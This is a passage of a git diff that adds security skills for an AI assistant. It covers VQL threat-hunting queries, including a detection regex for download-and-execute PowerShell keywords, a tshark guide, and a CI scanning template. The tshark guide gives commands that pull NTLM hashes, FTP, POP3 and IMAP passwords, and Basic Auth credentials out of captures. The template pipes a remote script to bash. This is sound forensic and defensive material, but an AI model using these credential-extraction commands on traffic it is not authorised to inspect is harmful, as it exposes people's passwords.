+ "E:/**", + "\\\\*/**" -- Network paths +]) +WHERE Size > 10485760 -- Files larger than 10MB + AND Mtime > timestamp(epoch=now() - 86400) +ORDER BY Size DESC +``` + +### USB Device History + +```sql +-- USB device connection history +SELECT Key.Name AS DeviceID, + FriendlyName.value AS DeviceName, + timestamp(epoch=Key.Mtime) AS LastConnected +FROM read_reg_key(globs="HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Enum/USBSTOR/**/FriendlyName") +ORDER BY LastConnected DESC +``` + +### Cloud Storage Activity + +```sql +-- Files in cloud sync directories +SELECT FullPath, Size, + timestamp(epoch=Mtime) AS LastModified +FROM glob(globs=[ + "C:/Users/*/OneDrive/**", + "C:/Users/*/Dropbox/**", + "C:/Users/*/Google Drive/**" +]) +WHERE Mtime > timestamp(epoch=now() - 86400) +ORDER BY Mtime DESC +``` + +## Malware Analysis + +### Suspicious File Indicators + +```sql +-- Files with malware-associated characteristics +SELECT FullPath, + Size, + timestamp(epoch=Mtime) AS ModifiedTime, + hash(path=FullPath, accessor="file") AS Hashes +FROM glob(globs=[ + "C:/Windows/Temp/**/*.exe", + "C:/Users/*/AppData/Local/Temp/**/*.exe", + "C:/ProgramData/**/*.exe" +]) +WHERE ( + -- Small executables (potential droppers) + Size < 102400 + + -- Or recently created + OR Mtime > timestamp(epoch=now() - 3600) +) +``` + +### Packed Executable Detection + +```sql +-- Detect potentially packed executables (high entropy) +SELECT FullPath, + parse_pe(file=FullPath).Entropy AS Entropy, + parse_pe(file=FullPath).Sections AS Sections +FROM glob(globs="C:/Users/**/*.exe") +WHERE parse_pe(file=FullPath).Entropy > 7.0 -- High entropy suggests packing +``` + +### Malicious Scripts + +```sql +-- Suspicious PowerShell/VBS scripts +SELECT FullPath, + Size, + timestamp(epoch=Mtime) AS ModifiedTime, + read_file(filename=FullPath, length=5000) AS Content +FROM glob(globs=[ + "C:/Users/**/*.ps1", + "C:/Users/**/*.vbs", + "C:/Users/**/*.js", + "C:/Windows/Temp/**/*.ps1" +]) +WHERE Content =~ "(?i)(invoke-expression|iex|downloadstring|webclient|bypass|hidden|encodedcommand)" +``` + +## Advanced Hunting Patterns + +### Threat Hunting with Multiple Indicators + +```sql +-- Correlate multiple suspicious indicators +LET SuspiciousProcesses = SELECT Pid, Name, CommandLine +FROM pslist() +WHERE CommandLine =~ "(?i)(bypass|hidden|encodedcommand)" + +LET SuspiciousConnections = SELECT Pid, Raddr.IP AS RemoteIP +FROM netstat() +WHERE Status = "ESTABLISHED" + AND Raddr.IP !~ "^(10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\\.168\\.)" + +SELECT sp.Pid, + sp.Name, + sp.CommandLine, + GROUP_CONCAT(sc.RemoteIP) AS ConnectedIPs +FROM SuspiciousProcesses sp +JOIN SuspiciousConnections sc ON sp.Pid = sc.Pid +GROUP BY sp.Pid +``` + +### Timeline Analysis + +```sql +-- Comprehensive timeline of system activity +SELECT timestamp(epoch=Timestamp) AS EventTime, + Source, + EventType, + Details +FROM chain( + a={SELECT Mtime AS Timestamp, "FileSystem" AS Source, "FileCreated" AS EventType, FullPath AS Details + FROM glob(globs="C:/Users/**") WHERE Mtime > timestamp(epoch=now() - 86400)}, + b={SELECT System.TimeCreated.SystemTime AS Timestamp, "EventLog" AS Source, + format(format="EventID:%v", args=System.EventID.Value) AS EventType, + EventData AS Details + FROM parse_evtx(filename="C:/Windows/System32/winevt/Logs/Security.evtx") + WHERE System.TimeCreated.SystemTime > timestamp(epoch=now() - 86400)}, + c={SELECT Key.Mtime AS Timestamp, "Registry" AS Source, "KeyModified" AS EventType, Key.FullPath AS Details + FROM glob(globs="HKEY_LOCAL_MACHINE/SOFTWARE/**", accessor="registry") + WHERE Key.Mtime > timestamp(epoch=now() - 86400)} +) +ORDER BY EventTime DESC +``` diff --git a/skills/offsec/.category b/skills/offsec/.category new file mode 100644 index 0000000..abaf122 --- /dev/null +++ b/skills/offsec/.category @@ -0,0 +1,5 @@ +# Offensive Security Skills + +This directory contains skills for offensive security operations. + +See the main [README.md](../../README.md) for usage and [CONTRIBUTE.md](../../CONTRIBUTE.md) for contribution guidelines. diff --git a/skills/offsec/analysis-tshark/SKILL.md b/skills/offsec/analysis-tshark/SKILL.md new file mode 100644 index 0000000..a634c12 --- /dev/null +++ b/skills/offsec/analysis-tshark/SKILL.md @@ -0,0 +1,638 @@ +--- +name: analysis-tshark +description: > + Network protocol analyzer and packet capture tool for traffic analysis, security investigations, + and forensic examination using Wireshark's command-line interface. Use when: (1) Analyzing network + traffic for security incidents and malware detection, (2) Capturing and filtering packets for + forensic analysis, (3) Extracting credentials and sensitive data from network captures, (4) + Investigating network anomalies and attack patterns, (5) Validating encryption and security + controls, (6) Performing protocol analysis for vulnerability research. +version: 0.1.0 +maintainer: sirappsec@gmail.com +category: offsec +tags: [packet-capture, network-analysis, forensics, tshark, wireshark, traffic-analysis] +frameworks: [MITRE-ATT&CK, NIST] +dependencies: + packages: [tshark, wireshark] + tools: [tcpdump, python3] +references: + - https://www.wireshark.org/docs/man-pages/tshark.html + - https://wiki.wireshark.org/DisplayFilters + - https://attack.mitre.org/techniques/T1040/ +--- + +# TShark Network Protocol Analyzer + +## Overview + +TShark is the command-line network protocol analyzer from the Wireshark project. It provides powerful packet capture and analysis capabilities for security investigations, forensic analysis, and network troubleshooting. This skill covers authorized security operations including traffic analysis, credential extraction, malware detection, and forensic examination. + +**IMPORTANT**: Network packet capture may expose sensitive information and must only be conducted with proper authorization. Ensure legal compliance and privacy considerations before capturing network traffic. + +## Quick Start + +Basic packet capture and analysis: + +```bash +# Capture packets on interface +sudo tshark -i eth0 + +# Capture 100 packets and save to file +sudo tshark -i eth0 -c 100 -w capture.pcap + +# Read and analyze capture file +tshark -r capture.pcap + +# Apply display filter +tshark -r capture.pcap -Y "http.request.method == GET" + +# Extract HTTP objects +tshark -r capture.pcap --export-objects http,extracted_files/ +``` + +## Core Workflow + +### Network Analysis Workflow + +Progress: +[ ] 1. Verify authorization for packet capture +[ ] 2. Identify target interface and capture requirements +[ ] 3. Capture network traffic with appropriate filters +[ ] 4. Analyze captured packets for security indicators +[ ] 5. Extract artifacts (files, credentials, sessions) +[ ] 6. Document findings and security implications +[ ] 7. Securely handle and store capture files +[ ] 8. Clean up sensitive data per retention policy + +Work through each step systematically. Check off completed items. + +### 1. Authorization Verification + +**CRITICAL**: Before any packet capture: +- Confirm written authorization for network monitoring +- Verify legal compliance (wiretapping laws, privacy regulations) +- Understand data handling and retention requirements +- Document scope of capture (interfaces, duration, filters) +- Ensure secure storage for captured data + +### 2. Interface Discovery + +Identify available network interfaces: + +```bash +# List all interfaces +tshark -D + +# List with interface details +sudo tshark -D + +# Capture on specific interface +sudo tshark -i eth0 +sudo tshark -i wlan0 + +# Capture on any interface +sudo tshark -i any + +# Capture on multiple interfaces +sudo tshark -i eth0 -i wlan0 +``` + +**Interface types**: +- **eth0/ens33**: Ethernet interface +- **wlan0**: Wireless interface +- **lo**: Loopback interface +- **any**: All interfaces (Linux only) +- **mon0**: Monitor mode interface (wireless) + +### 3. Basic Packet Capture + +Capture network traffic: + +```bash +# Capture indefinitely (Ctrl+C to stop) +sudo tshark -i eth0 + +# Capture specific number of packets +sudo tshark -i eth0 -c 1000 + +# Capture for specific duration (seconds) +sudo tshark -i eth0 -a duration:60 + +# Capture to file +sudo tshark -i eth0 -w capture.pcap + +# Capture with ring buffer (rotate files) +sudo tshark -i eth0 -w capture.pcap -b filesize:100000 -b files:5 +``` + +**Capture options**: +- `-c `: Capture packet count +- `-a duration:`: Auto-stop after duration +- `-w `: Write to file +- `-b filesize:`: Rotate at file size +- `-b files:`: Keep N ring buffer files + +### 4. Capture Filters + +Apply BPF (Berkeley Packet Filter) during capture for efficiency: + +```bash +# Capture only HTTP traffic +sudo tshark -i eth0 -f "tcp port 80" + +# Capture specific host +sudo tshark -i eth0 -f "host 192.168.1.100" + +# Capture subnet +sudo tshark -i eth0 -f "net 192.168.1.0/24" + +# Capture multiple ports +sudo tshark -i eth0 -f "tcp port 80 or tcp port 443" + +# Exclude specific traffic +sudo tshark -i eth0 -f "not port 22" + +# Capture SYN packets only +sudo tshark -i eth0 -f "tcp[tcpflags] & tcp-syn != 0" +``` + +**Common capture filters**: +- `host `: Traffic to/from IP +- `net `: Traffic to/from network +- `port `: Specific port +- `tcp|udp|icmp`: Protocol type +- `src|dst`: Direction filter +- `and|or|not`: Logical operators + +### 5. Display Filters + +Analyze captured traffic with Wireshark display filters: + +```bash +# HTTP requests only +tshark -r capture.pcap -Y "http.request" + +# HTTP responses +tshark -r capture.pcap -Y "http.response" + +# DNS queries +tshark -r capture.pcap -Y "dns.flags.response == 0" + +# TLS handshakes +tshark -r capture.pcap -Y "tls.handshake.type == 1" + +# Suspicious traffic patterns +tshark -r capture.pcap -Y "tcp.flags.syn==1 and tcp.flags.ack==0" + +# Failed connections +tshark -r capture.pcap -Y "tcp.flags.reset==1" +``` + +**Advanced display filters**: + +```bash +# HTTP POST requests with credentials +tshark -r capture.pcap -Y "http.request.method == POST and (http contains \"password\" or http contains \"username\")" + +# SMB file transfers +tshark -r capture.pcap -Y "smb2.cmd == 8 or smb2.cmd == 9" + +# Suspicious User-Agents +tshark -r capture.pcap -Y "http.user_agent contains \"python\" or http.user_agent contains \"curl\"" + +# Large data transfers +tshark -r capture.pcap -Y "tcp.len > 1400" + +# Beaconing detection (periodic traffic) +tshark -r capture.pcap -Y "http" -T fields -e frame.time_relative -e ip.dst +``` + +### 6. Protocol Analysis + +Analyze specific protocols: + +**HTTP/HTTPS Analysis**: + +```bash +# Extract HTTP requests +tshark -r capture.pcap -Y "http.request" -T fields -e ip.src -e http.host -e http.request.uri + +# Extract HTTP User-Agents +tshark -r capture.pcap -Y "http.user_agent" -T fields -e ip.src -e http.user_agent + +# HTTP status codes +tshark -r capture.pcap -Y "http.response" -T fields -e ip.src -e http.response.code + +# Extract HTTP cookies +tshark -r capture.pcap -Y "http.cookie" -T fields -e ip.src -e http.cookie +``` + +**DNS Analysis**: + +```bash +# DNS queries +tshark -r capture.pcap -Y "dns.flags.response == 0" -T fields -e ip.src -e dns.qry.name + +# DNS responses +tshark -r capture.pcap -Y "dns.flags.response == 1" -T fields -e dns.qry.name -e dns.a + +# DNS tunneling detection (long domain names) +tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name | awk 'length > 50' + +# DNS query types +tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.type -e dns.qry.name +``` + +**TLS/SSL Analysis**: + +```bash +# TLS handshakes +tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields -e ip.src -e ip.dst -e tls.handshake.extensions_server_name + +# TLS certificates +tshark -r capture.pcap -Y "tls.handshake.certificate" -T fields -e tls.handshake.certificate + +# SSL/TLS versions +tshark -r capture.pcap -Y "tls" -T fields -e tls.record.version + +# Weak cipher suites +tshark -r capture.pcap -Y "tls.handshake.ciphersuite" -T fields -e tls.handshake.ciphersuite +``` + +**SMB/CIFS Analysis**: + +```bash +# SMB file access +tshark -r capture.pcap -Y "smb2" -T fields -e ip.src -e smb2.filename + +# SMB authentication +tshark -r capture.pcap -Y "ntlmssp" -T fields -e ip.src -e ntlmssp.auth.username + +# SMB commands +tshark -r capture.pcap -Y "smb2" -T fields -e smb2.cmd +``` + +### 7. Credential Extraction + +Extract credentials from network traffic (authorized forensics only): + +**HTTP Basic Authentication**: + +```bash +# Extract HTTP Basic Auth credentials +tshark -r capture.pcap -Y "http.authbasic" -T fields -e ip.src -e http.authbasic + +# Decode Base64 credentials +tshark -r capture.pcap -Y "http.authorization" -T fields -e http.authorization | base64 -d +``` + +**FTP Credentials**: + +```bash +# Extract FTP usernames +tshark -r capture.pcap -Y "ftp.request.command == USER" -T fields -e ip.src -e ftp.request.arg + +# Extract FTP passwords +tshark -r capture.pcap -Y "ftp.request.command == PASS" -T fields -e ip.src -e ftp.request.arg +``` + +**NTLM/Kerberos**: + +```bash +# Extract NTLM hashes +tshark -r capture.pcap -Y "ntlmssp.auth.ntlmv2response" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.auth.ntlmv2response + +# Kerberos tickets +tshark -r capture.pcap -Y "kerberos.CNameString" -T fields -e kerberos.CNameString -e kerberos.realm +``` + +**Email Credentials**: + +```bash +# SMTP authentication +tshark -r capture.pcap -Y "smtp.req.command == AUTH" -T fields -e ip.src + +# POP3 credentials +tshark -r capture.pcap -Y "pop.request.command == USER or pop.request.command == PASS" -T fields -e pop.request.parameter + +# IMAP credentials +tshark -r capture.pcap -Y "imap.request contains \"LOGIN\"" -T fields -e imap.request +``` + +### 8. File Extraction + +Extract files from packet captures: + +```bash +# Export HTTP objects +tshark -r capture.pcap --export-objects http,extracted_http/ + +# Export SMB objects +tshark -r capture.pcap --export-objects smb,extracted_smb/ + +# Export DICOM objects +tshark -r capture.pcap --export-objects dicom,extracted_dicom/ + +# Export IMF (email) objects +tshark -r capture.pcap --export-objects imf,extracted_email/ +``` + +**Manual file reconstruction**: + +```bash +# Extract file data from HTTP response +tshark -r capture.pcap -Y "http.response and http.content_type contains \"application/pdf\"" -T fields -e data.data | xxd -r -p > extracted_file.pdf + +# Reassemble TCP stream +tshark -r capture.pcap -q -z follow,tcp,ascii, +``` + +### 9. Malware Detection + +Identify malicious network activity: + +```bash +# Detect common C2 beaconing patterns +tshark -r capture.pcap -Y "http" -T fields -e frame.time_relative -e ip.dst -e http.host | sort | uniq -c | sort -rn + +# Suspicious DNS queries (DGA domains) +tshark -r capture.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | awk -F'.' '{print $(NF-1)"."$NF}' | sort | uniq -c | sort -rn + +# Detect port scanning +tshark -r capture.pcap -Y "tcp.flags.syn==1 and tcp.flags.ack==0" -T fields -e ip.src -e ip.dst -e tcp.dstport | sort | uniq -c | sort -rn + +# Detect data exfiltration (large uploads) +tshark -r capture.pcap -Y "http.request.method == POST" -T fields -e ip.src -e http.content_length | awk '$2 > 1000000' + +# Suspicious executable downloads +tshark -r capture.pcap -Y "http.response and (http.content_type contains \"application/exe\" or http.content_type contains \"application/x-dosexec\")" +``` + +### 10. Statistics and Reporting + +Generate traffic statistics: + +```bash +# Protocol hierarchy +tshark -r capture.pcap -q -z io,phs + +# Conversation statistics +tshark -r capture.pcap -q -z conv,tcp +tshark -r capture.pcap -q -z conv,udp +tshark -r capture.pcap -q -z conv,ip + +# HTTP statistics +tshark -r capture.pcap -q -z http,tree + +# DNS statistics +tshark -r capture.pcap -q -z dns,tree + +# Endpoints +tshark -r capture.pcap -q -z endpoints,tcp +tshark -r capture.pcap -q -z endpoints,udp + +# Expert info (warnings/errors) +tshark -r capture.pcap -q -z expert +``` + +## Security Considerations + +### Authorization & Legal Compliance + +- **Written Authorization**: Obtain explicit permission for network monitoring +- **Privacy Laws**: Comply with wiretapping and privacy regulations (GDPR, CCPA, ECPA) +- **Data Minimization**: Capture only necessary traffic for investigation +- **Credential Handling**: Treat extracted credentials as highly sensitive +- **Retention Policy**: Follow data retention and secure deletion requirements + +### Operational Security + +- **Encrypted Storage**: Encrypt capture files at rest +- **Access Control**: Restrict access to packet captures +- **Secure Transfer**: Use encrypted channels for capture file transfer +- **Anonymization**: Remove or redact PII when sharing captures +- **Chain of Custody**: Maintain forensic integrity for legal proceedings + +### Audit Logging + +Document all packet capture activities: +- Capture start and end timestamps +- Interface(s) captured +- Capture filters applied +- File names and storage locations +- Personnel who accessed captures +- Purpose of capture and investigation findings +- Secure deletion timestamps + +### Compliance + +- **MITRE ATT&CK**: T1040 (Network Sniffing) +- **NIST CSF**: DE.AE (Detection Processes - Anomalies and Events) +- **PCI-DSS**: Network security monitoring requirements +- **ISO 27001**: A.12.4 Logging and monitoring +- **GDPR**: Data protection and privacy requirements + +## Common Patterns + +### Pattern 1: Incident Response Investigation + +```bash +# Capture traffic during incident +sudo tshark -i eth0 -w incident_$(date +%Y%m%d_%H%M%S).pcap -a duration:300 + +# Analyze for lateral movement +tshark -r incident.pcap -Y "smb2 or rdp or ssh" -T fields -e ip.src -e ip.dst + +# Identify C2 communication +tshark -r incident.pcap -Y "http or dns" -T fields -e ip.dst -e http.host -e dns.qry.name + +# Extract IOCs +tshark -r incident.pcap -Y "ip.dst" -T fields -e ip.dst | sort -u > ioc_ips.txt +tshark -r incident.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort -u > ioc_domains.txt +``` + +### Pattern 2: Malware Traffic Analysis + +```bash +# Capture malware sandbox traffic +sudo tshark -i eth0 -w malware_traffic.pcap + +# Extract C2 indicators +tshark -r malware_traffic.pcap -Y "http.host" -T fields -e ip.src -e http.host -e http.user_agent + +# Identify DNS tunneling +tshark -r malware_traffic.pcap -Y "dns" -T fields -e dns.qry.name | awk 'length > 50' + +# Extract downloaded payloads +tshark -r malware_traffic.pcap --export-objects http,malware_artifacts/ + +# Analyze encryption/encoding +tshark -r malware_traffic.pcap -Y "http.request.method == POST" -T fields -e data.data +``` + +### Pattern 3: Credential Harvesting Detection + +```bash +# Monitor for credential transmission +sudo tshark -i eth0 -Y "(http.authorization or ftp or pop or imap) and not tls" -T fields -e ip.src -e ip.dst + +# Extract all HTTP POST data +tshark -r capture.pcap -Y "http.request.method == POST" -T fields -e http.file_data > post_data.txt + +# Search for password keywords +tshark -r capture.pcap -Y "http contains \"password\" or http contains \"passwd\"" -T fields -e ip.src -e http.request.uri + +# NTLM hash extraction +tshark -r capture.pcap -Y "ntlmssp.auth.ntlmv2response" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.auth.ntlmv2response > ntlm_hashes.txt +``` + +### Pattern 4: Network Forensics + +```bash +# Reconstruct HTTP conversation +tshark -r capture.pcap -q -z follow,http,ascii,0 + +# Timeline analysis +tshark -r capture.pcap -T fields -e frame.time -e ip.src -e ip.dst -e tcp.dstport + +# Identify file transfers +tshark -r capture.pcap -Y "http.content_type contains \"application/\" or ftp-data" -T fields -e frame.number -e http.content_type + +# Geolocation of connections (requires GeoIP) +tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e ip.geoip.src_country -e ip.geoip.dst_country +``` + +### Pattern 5: Wireless Security Assessment + +```bash +# Capture wireless traffic (monitor mode required) +sudo tshark -i mon0 -w wireless_capture.pcap + +# Identify wireless networks +tshark -r wireless_capture.pcap -Y "wlan.fc.type_subtype == 0x08" -T fields -e wlan.ssid -e wlan.bssid + +# Detect deauth attacks +tshark -r wireless_capture.pcap -Y "wlan.fc.type_subtype == 0x0c" + +# WPA handshake capture +tshark -r wireless_capture.pcap -Y "eapol" + +# Client probing activity +tshark -r wireless_capture.pcap -Y "wlan.fc.type_subtype == 0x04" -T fields -e wlan.sa -e wlan.ssid +``` + +## Integration Points + +### SIEM Integration + +Export packet analysis to SIEM platforms: + +```bash +# Export to JSON for Splunk/ELK +tshark -r capture.pcap -T ek > packets.json + +# Export specific fields in JSON +tshark -r capture.pcap -Y "http" -T json -e ip.src -e ip.dst -e http.host -e http.request.uri + +# CSV export for analysis +tshark -r capture.pcap -T fields -E separator=, -e frame.time -e ip.src -e ip.dst -e tcp.dstport > packets.csv +``` + +### Scripting and Automation + +```bash +#!/bin/bash +# continuous_monitor.sh - Continuous network monitoring + +INTERFACE="eth0" +ALERT_FILTER="http contains \"cmd.exe\" or dns.qry.name contains \".tk\" or dns.qry.name contains \".xyz\"" + +sudo tshark -i $INTERFACE -Y "$ALERT_FILTER" -T fields -e frame.time -e ip.src -e ip.dst -e http.host -e dns.qry.name | \ +while read line; do + echo "[ALERT] $(date): $line" | tee -a security_alerts.log + # Trigger incident response workflow + echo "$line" | mail -s "Security Alert" soc@company.com +done +``` + +## Troubleshooting + +### Issue: "Permission denied" when capturing + +**Solutions**: +```bash +# Run with sudo +sudo tshark -i eth0 + +# Or add user to wireshark group (Linux) +sudo usermod -a -G wireshark $USER +sudo setcap cap_net_raw,cap_net_admin+eip /usr/bin/tshark + +# Logout and login for group changes to take effect +``` + +### Issue: "No interfaces found" + +**Solutions**: +```bash +# Verify tshark installation +tshark --version + +# List interfaces with sudo +sudo tshark -D + +# Check interface status +ip link show +ifconfig -a +``` + +### Issue: Capture file is huge + +**Solutions**: +```bash +# Use capture filters to reduce size +sudo tshark -i eth0 -f "not port 22" -w capture.pcap + +# Use ring buffer +sudo tshark -i eth0 -w capture.pcap -b filesize:100000 -b files:5 + +# Limit packet size (snaplen) +sudo tshark -i eth0 -s 128 -w capture.pcap +``` + +### Issue: Cannot decrypt TLS traffic + +**Solutions**: +```bash +# Provide SSL key log file (requires SSLKEYLOGFILE environment variable) +tshark -r capture.pcap -o tls.keylog_file:sslkeys.log -Y "http" + +# Use pre-master secret +tshark -r capture.pcap -o tls.keys_list:192.168.1.100,443,http,/path/to/server.key +``` + +## Defensive Considerations + +Organizations should protect against unauthorized packet capture: + +- **Network Segmentation**: Reduce exposure to packet sniffing +- **Encryption**: Use TLS/SSL to protect sensitive data in transit +- **Switch Security**: Enable port security and DHCP snooping +- **Wireless Security**: Use WPA3, disable broadcast SSID +- **Intrusion Detection**: Monitor for promiscuous mode interfaces +- **Physical Security**: Protect network infrastructure from tap devices + +Detect packet capture activity: +- Monitor for promiscuous mode network interfaces +- Detect ARP spoofing and MAC flooding attacks +- Audit administrative access to network devices +- Monitor for unusual outbound data transfers +- Deploy network access control (802.1X) + +## References + +- [TShark Man Page](https://www.wireshark.org/docs/man-pages/tshark.html) +- [Wireshark Display Filters](https://wiki.wireshark.org/DisplayFilters) +- [MITRE ATT&CK: Network Sniffing](https://attack.mitre.org/techniques/T1040/) +- [NIST SP 800-92: Guide to Computer Security Log Management](https://csrc.nist.gov/publications/detail/sp/800-92/final) +- [Practical Packet Analysis Book](https://nostarch.com/packetanalysis3) diff --git a/skills/offsec/analysis-tshark/assets/.gitkeep b/skills/offsec/analysis-tshark/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/offsec/analysis-tshark/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/offsec/analysis-tshark/assets/ci-config-template.yml b/skills/offsec/analysis-tshark/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/offsec/analysis-tshark/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + 